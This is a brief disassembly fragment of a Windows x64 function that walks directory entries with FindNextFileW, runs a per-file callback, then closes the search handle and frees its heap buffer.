lea r8, [fcn.14000298c]
mov rdx, r13
mov rcx, rdi
mov r9, r15
call fcn.140002744
mov r14d, eax
test eax, eax
jne 0x140002948
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400028f6
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x14002eae0]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, r14d
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret